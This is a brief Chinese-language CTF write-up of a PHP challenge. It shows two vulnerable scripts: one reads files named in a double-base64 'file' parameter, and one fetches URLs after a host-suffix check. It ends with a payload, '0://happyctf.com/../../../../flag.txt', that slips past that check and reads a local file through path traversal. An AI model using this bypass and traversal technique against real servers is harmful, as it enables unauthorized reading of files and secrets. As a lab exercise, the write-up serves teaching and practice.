把file后面的参数两层base64解开,就知道可以包含其他文件,两层base64编码就行
第一层读index.php
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 
 | <?phperror_reporting(E_ALL || ~E_NOTICE);
 
 header('content-type:text/html;charset=utf-8');
 if(! isset($_GET['file']))
 header('Refresh:0;url=./index.php?file=WTNSbWFXMWhaMlV1YW5Cbg==');
 $file = base64_decode(base64_decode($_GET['file']));
 echo '<title>'.$_GET['file'].'</title>';
 $file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
 echo 'input_filename:   '. $file.'</br>';
 $file = str_replace("ctf","flag", $file);
 echo 'real_filename:   '.$file.'</br>';
 $txt = base64_encode(file_get_contents($file));
 
 echo "<img src='data:image/gif;base64,".$txt."'></img>";
 /*
 * Can you find the flag file?
 *
 * Hint: hal0flagi5here.php
 */
 
 | 
继续读hal0flagi5here.php
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 
 | <?php$argv[1]=$_GET['url'];
 if(filter_var($argv[1],FILTER_VALIDATE_URL))
 {
 $r = parse_url($argv[1]);
 print_r($r);
 if(preg_match('/happyctf\.com$/',$r['host']))
 {
 $url=file_get_contents($argv[1]);
 echo($url);
 }else
 {
 echo("error");
 }
 
 }else
 {
 echo "403 Forbidden";
 }
 ?>
 
 | 
这里卡了我很久,用data://happyctf.com/plain,base64,xxxxx只能构造返回体,不能任意读文件。
通过测试,file_get_contents()种如果是不规范的协议,则进行本地文件包含,构造
| 1
 | 0://happyctf.com/../../../../flag.txt
 |